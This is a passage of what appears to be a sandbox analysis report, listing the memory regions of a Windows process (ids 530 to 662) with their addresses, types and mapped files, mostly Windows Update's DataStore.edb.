Region: id = 530 start_va = 0xc0b2a10000 end_va = 0xc0b2a1ffff entry_point = 0x0 region_type = private name = "private_0x000000c0b2a10000" filename = "" Region: id = 531 start_va = 0xc0b2a20000 end_va = 0xc0b2a2ffff entry_point = 0xc0b2a20000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 532 start_va = 0xc0b2a30000 end_va = 0xc0b2a3ffff entry_point = 0xc0b2a30000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 533 start_va = 0xc0b2a40000 end_va = 0xc0b2a47fff entry_point = 0x0 region_type = private name = "private_0x000000c0b2a40000" filename = "" Region: id = 534 start_va = 0xc0b2a50000 end_va = 0xc0b2a5ffff entry_point = 0xc0b2a50000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 535 start_va = 0xc0b2a60000 end_va = 0xc0b2a6ffff entry_point = 0xc0b2a60000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 536 start_va = 0xc0b2a70000 end_va = 0xc0b2a7ffff entry_point = 0xc0b2a70000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 537 start_va = 0xc0b2a80000 end_va = 0xc0b2a8ffff entry_point = 0x0 region_type = private name = "private_0x000000c0b2a80000" filename = "" Region: id = 538 start_va = 0xc0b2a90000 end_va = 0xc0b2a9ffff entry_point = 0xc0b2a90000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 539 start_va = 0xc0b2aa0000 end_va = 0xc0b2aaffff entry_point = 0xc0b2aa0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 540 start_va = 0xc0b2ab0000 end_va = 0xc0b2abffff entry_point = 0xc0b2ab0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 541 start_va = 0xc0b2ac0000 end_va = 0xc0b2acffff entry_point = 0xc0b2ac0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 542 start_va = 0xc0b2ad0000 end_va = 0xc0b2adffff entry_point = 0xc0b2ad0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 543 start_va = 0xc0b2ae0000 end_va = 0xc0b2ae0fff entry_point = 0xc0b2ae0000 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 544 start_va = 0xc0b2af0000 end_va = 0xc0b2afffff entry_point = 0x0 region_type = private name = "private_0x000000c0b2af0000" filename = "" Region: id = 545 start_va = 0xc0b2b00000 end_va = 0xc0b2b06fff entry_point = 0x0 region_type = private name = "private_0x000000c0b2b00000" filename = "" Region: id = 546 start_va = 0xc0b2b10000 end_va = 0xc0b2c0ffff entry_point = 0x0 region_type = private name = "private_0x000000c0b2b10000" filename = "" Region: id = 547 start_va = 0xc0b2c10000 end_va = 0xc0b2c1ffff entry_point = 0xc0b2c10000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 548 start_va = 0xc0b2c20000 end_va = 0xc0b2c2ffff entry_point = 0xc0b2c20000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 549 start_va = 0xc0b2c30000 end_va = 0xc0b2c3ffff entry_point = 0xc0b2c30000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 550 start_va = 0xc0b2c40000 end_va = 0xc0b2c4ffff entry_point = 0xc0b2c40000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 551 start_va = 0xc0b2c50000 end_va = 0xc0b2c5ffff entry_point = 0xc0b2c50000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 552 start_va = 0xc0b2c60000 end_va = 0xc0b2c6ffff entry_point = 0x0 region_type = private name = "private_0x000000c0b2c60000" filename = "" Region: id = 553 start_va = 0xc0b2c70000 end_va = 0xc0b2ceffff entry_point = 0x0 region_type = private name = "private_0x000000c0b2c70000" filename = "" Region: id = 554 start_va = 0xc0b2cf0000 end_va = 0xc0b2d6ffff entry_point = 0x0 region_type = private name = "private_0x000000c0b2cf0000" filename = "" Region: id = 555 start_va = 0xc0b2d70000 end_va = 0xc0b2d7ffff entry_point = 0xc0b2d70000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 556 start_va = 0xc0b2d80000 end_va = 0xc0b2d8ffff entry_point = 0xc0b2d80000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 557 start_va = 0xc0b2d90000 end_va = 0xc0b2d9ffff entry_point = 0xc0b2d90000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 558 start_va = 0xc0b2da0000 end_va = 0xc0b2daffff entry_point = 0xc0b2da0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 559 start_va = 0xc0b2db0000 end_va = 0xc0b2dbffff entry_point = 0xc0b2db0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 560 start_va = 0xc0b2dc0000 end_va = 0xc0b2dcffff entry_point = 0xc0b2dc0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 561 start_va = 0xc0b2dd0000 end_va = 0xc0b2ddffff entry_point = 0xc0b2dd0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 562 start_va = 0xc0b2de0000 end_va = 0xc0b2deffff entry_point = 0xc0b2de0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 563 start_va = 0xc0b2df0000 end_va = 0xc0b2dfffff entry_point = 0xc0b2df0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 564 start_va = 0xc0b2e00000 end_va = 0xc0b2e0ffff entry_point = 0xc0b2e00000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 565 start_va = 0xc0b2e10000 end_va = 0xc0b2e1ffff entry_point = 0xc0b2e10000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 566 start_va = 0xc0b2e20000 end_va = 0xc0b2e2ffff entry_point = 0xc0b2e20000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 567 start_va = 0xc0b2e30000 end_va = 0xc0b2e3ffff entry_point = 0xc0b2e30000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 568 start_va = 0xc0b2e40000 end_va = 0xc0b2e4ffff entry_point = 0xc0b2e40000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 569 start_va = 0xc0b2e50000 end_va = 0xc0b2e5ffff entry_point = 0xc0b2e50000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 570 start_va = 0xc0b2e60000 end_va = 0xc0b2e6ffff entry_point = 0xc0b2e60000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 571 start_va = 0xc0b2e70000 end_va = 0xc0b2e7ffff entry_point = 0xc0b2e70000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 572 start_va = 0xc0b2e80000 end_va = 0xc0b2e8ffff entry_point = 0xc0b2e80000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 573 start_va = 0xc0b2e90000 end_va = 0xc0b2e9ffff entry_point = 0xc0b2e90000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 574 start_va = 0xc0b2ea0000 end_va = 0xc0b2eaffff entry_point = 0xc0b2ea0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 575 start_va = 0xc0b2eb0000 end_va = 0xc0b2ebffff entry_point = 0xc0b2eb0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 576 start_va = 0xc0b2ec0000 end_va = 0xc0b2ecffff entry_point = 0xc0b2ec0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 577 start_va = 0xc0b2ed0000 end_va = 0xc0b2edffff entry_point = 0xc0b2ed0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 578 start_va = 0xc0b2ee0000 end_va = 0xc0b2eeffff entry_point = 0xc0b2ee0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 579 start_va = 0xc0b2ef0000 end_va = 0xc0b2efffff entry_point = 0xc0b2ef0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 580 start_va = 0xc0b2f00000 end_va = 0xc0b2f0ffff entry_point = 0xc0b2f00000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 581 start_va = 0xc0b2f10000 end_va = 0xc0b2f1ffff entry_point = 0xc0b2f10000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 582 start_va = 0xc0b2f20000 end_va = 0xc0b2f2ffff entry_point = 0xc0b2f20000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 583 start_va = 0xc0b2f30000 end_va = 0xc0b2f3ffff entry_point = 0xc0b2f30000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 584 start_va = 0xc0b2f40000 end_va = 0xc0b2f4ffff entry_point = 0xc0b2f40000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 585 start_va = 0xc0b2f50000 end_va = 0xc0b2f5ffff entry_point = 0xc0b2f50000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 586 start_va = 0xc0b2f60000 end_va = 0xc0b2f61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0b2f60000" filename = "" Region: id = 587 start_va = 0xc0b2f70000 end_va = 0xc0b2feffff entry_point = 0x0 region_type = private name = "private_0x000000c0b2f70000" filename = "" Region: id = 588 start_va = 0xc0b2ff0000 end_va = 0xc0b2ffffff entry_point = 0xc0b2ff0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 589 start_va = 0xc0b3000000 end_va = 0xc0b300ffff entry_point = 0xc0b3000000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 590 start_va = 0xc0b3010000 end_va = 0xc0b301ffff entry_point = 0xc0b3010000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 591 start_va = 0xc0b3020000 end_va = 0xc0b3027fff entry_point = 0x0 region_type = private name = "private_0x000000c0b3020000" filename = "" Region: id = 592 start_va = 0xc0b3030000 end_va = 0xc0b303ffff entry_point = 0xc0b3030000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 593 start_va = 0xc0b3040000 end_va = 0xc0b304ffff entry_point = 0xc0b3040000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 594 start_va = 0xc0b3050000 end_va = 0xc0b305ffff entry_point = 0xc0b3050000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 595 start_va = 0xc0b3060000 end_va = 0xc0b306ffff entry_point = 0xc0b3060000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 596 start_va = 0xc0b3070000 end_va = 0xc0b307ffff entry_point = 0xc0b3070000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 597 start_va = 0xc0b3080000 end_va = 0xc0b308ffff entry_point = 0xc0b3080000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 598 start_va = 0xc0b3090000 end_va = 0xc0b309ffff entry_point = 0xc0b3090000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 599 start_va = 0xc0b30a0000 end_va = 0xc0b30affff entry_point = 0xc0b30a0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 600 start_va = 0xc0b30b0000 end_va = 0xc0b30bffff entry_point = 0xc0b30b0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 601 start_va = 0xc0b30c0000 end_va = 0xc0b30cffff entry_point = 0xc0b30c0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 602 start_va = 0xc0b30d0000 end_va = 0xc0b30dffff entry_point = 0xc0b30d0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 603 start_va = 0xc0b30e0000 end_va = 0xc0b30effff entry_point = 0xc0b30e0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 604 start_va = 0xc0b30f0000 end_va = 0xc0b30fffff entry_point = 0xc0b30f0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 605 start_va = 0xc0b3100000 end_va = 0xc0b310ffff entry_point = 0xc0b3100000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 606 start_va = 0xc0b3110000 end_va = 0xc0b311ffff entry_point = 0xc0b3110000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 607 start_va = 0xc0b3120000 end_va = 0xc0b312ffff entry_point = 0xc0b3120000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 608 start_va = 0xc0b3130000 end_va = 0xc0b313ffff entry_point = 0xc0b3130000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 609 start_va = 0xc0b3140000 end_va = 0xc0b314ffff entry_point = 0xc0b3140000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 610 start_va = 0xc0b3150000 end_va = 0xc0b315ffff entry_point = 0xc0b3150000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 611 start_va = 0xc0b3160000 end_va = 0xc0b316ffff entry_point = 0xc0b3160000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 612 start_va = 0xc0b3170000 end_va = 0xc0b317ffff entry_point = 0xc0b3170000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 613 start_va = 0xc0b3180000 end_va = 0xc0b318ffff entry_point = 0x0 region_type = private name = "private_0x000000c0b3180000" filename = "" Region: id = 614 start_va = 0xc0b3190000 end_va = 0xc0b319ffff entry_point = 0x0 region_type = private name = "private_0x000000c0b3190000" filename = "" Region: id = 615 start_va = 0xc0b31a0000 end_va = 0xc0b31affff entry_point = 0xc0b31a0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 616 start_va = 0xc0b31b0000 end_va = 0xc0b31b7fff entry_point = 0x0 region_type = private name = "private_0x000000c0b31b0000" filename = "" Region: id = 617 start_va = 0xc0b31c0000 end_va = 0xc0b323ffff entry_point = 0x0 region_type = private name = "private_0x000000c0b31c0000" filename = "" Region: id = 618 start_va = 0xc0b3240000 end_va = 0xc0b3244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0b3240000" filename = "" Region: id = 619 start_va = 0x7ff7ea90c000 end_va = 0x7ff7ea90dfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea90c000" filename = "" Region: id = 620 start_va = 0x7ff7ea90e000 end_va = 0x7ff7ea90ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea90e000" filename = "" Region: id = 621 start_va = 0x7ff7ea910000 end_va = 0x7ff7ea911fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea910000" filename = "" Region: id = 622 start_va = 0x7ff7ea912000 end_va = 0x7ff7ea913fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea912000" filename = "" Region: id = 623 start_va = 0x7ff7ea914000 end_va = 0x7ff7ea915fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea914000" filename = "" Region: id = 624 start_va = 0x7ff7ea916000 end_va = 0x7ff7ea917fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea916000" filename = "" Region: id = 625 start_va = 0x7ff7ea918000 end_va = 0x7ff7ea919fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea918000" filename = "" Region: id = 626 start_va = 0x7ff7ea91a000 end_va = 0x7ff7ea91bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea91a000" filename = "" Region: id = 627 start_va = 0x7ff7ea91e000 end_va = 0x7ff7ea91ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea91e000" filename = "" Region: id = 628 start_va = 0x7ff7ea920000 end_va = 0x7ff7ea921fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea920000" filename = "" Region: id = 629 start_va = 0x7ff7ea922000 end_va = 0x7ff7ea923fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea922000" filename = "" Region: id = 630 start_va = 0x7ff7ea924000 end_va = 0x7ff7ea925fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea924000" filename = "" Region: id = 631 start_va = 0x7ff7ea926000 end_va = 0x7ff7ea927fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea926000" filename = "" Region: id = 632 start_va = 0x7ff7ea928000 end_va = 0x7ff7ea929fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea928000" filename = "" Region: id = 633 start_va = 0x7ff7ea92a000 end_va = 0x7ff7ea92bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea92a000" filename = "" Region: id = 634 start_va = 0x7ff7ea92c000 end_va = 0x7ff7ea92dfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea92c000" filename = "" Region: id = 635 start_va = 0x7ff7ea92e000 end_va = 0x7ff7ea92ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea92e000" filename = "" Region: id = 636 start_va = 0x7ff7ea930000 end_va = 0x7ff7ea931fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea930000" filename = "" Region: id = 637 start_va = 0x7ff7ea936000 end_va = 0x7ff7ea937fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea936000" filename = "" Region: id = 638 start_va = 0x7ff7ea938000 end_va = 0x7ff7ea939fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea938000" filename = "" Region: id = 639 start_va = 0x7ff7ea93a000 end_va = 0x7ff7ea93bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea93a000" filename = "" Region: id = 640 start_va = 0x7ff7ea93c000 end_va = 0x7ff7ea93dfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea93c000" filename = "" Region: id = 641 start_va = 0x7ff7ea93e000 end_va = 0x7ff7ea93ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea93e000" filename = "" Region: id = 642 start_va = 0x7ff7ea940000 end_va = 0x7ff7ea941fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea940000" filename = "" Region: id = 643 start_va = 0x7ff7ea942000 end_va = 0x7ff7ea943fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea942000" filename = "" Region: id = 644 start_va = 0x7ff7ea944000 end_va = 0x7ff7ea945fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea944000" filename = "" Region: id = 645 start_va = 0x7ff7ea946000 end_va = 0x7ff7ea947fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea946000" filename = "" Region: id = 646 start_va = 0x7ff7ea948000 end_va = 0x7ff7ea949fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea948000" filename = "" Region: id = 647 start_va = 0x7ff7ea94a000 end_va = 0x7ff7ea94bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea94a000" filename = "" Region: id = 648 start_va = 0x7ff7ea94c000 end_va = 0x7ff7ea94dfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea94c000" filename = "" Region: id = 649 start_va = 0x7ff7ea94e000 end_va = 0x7ff7ea94ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea94e000" filename = "" Region: id = 650 start_va = 0x7ff7ea950000 end_va = 0x7ff7ea951fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea950000" filename = "" Region: id = 651 start_va = 0x7ff7ea952000 end_va = 0x7ff7ea953fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea952000" filename = "" Region: id = 652 start_va = 0x7ff7ea954000 end_va = 0x7ff7ea955fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea954000" filename = "" Region: id = 653 start_va = 0x7ff7ea956000 end_va = 0x7ff7ea957fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea956000" filename = "" Region: id = 654 start_va = 0x7ff7ea958000 end_va = 0x7ff7ea959fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea958000" filename = "" Region: id = 655 start_va = 0x7ff7ea95a000 end_va = 0x7ff7ea95bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea95a000" filename = "" Region: id = 656 start_va = 0x7ff7ea95c000 end_va = 0x7ff7ea95dfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea95c000" filename = "" Region: id = 657 start_va = 0x7ff7ea95e000 end_va = 0x7ff7ea95ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea95e000" filename = "" Region: id = 658 start_va = 0x7ff7ea960000 end_va = 0x7ff7ea961fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea960000" filename = "" Region: id = 659 start_va = 0x7ff7ea962000 end_va = 0x7ff7ea963fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea962000" filename = "" Region: id = 660 start_va = 0x7ff7ea964000 end_va = 0x7ff7ea965fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea964000" filename = "" Region: id = 661 start_va = 0x7ff7ea966000 end_va = 0x7ff7ea967fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea966000" filename = "" Region: id = 662 start_va = 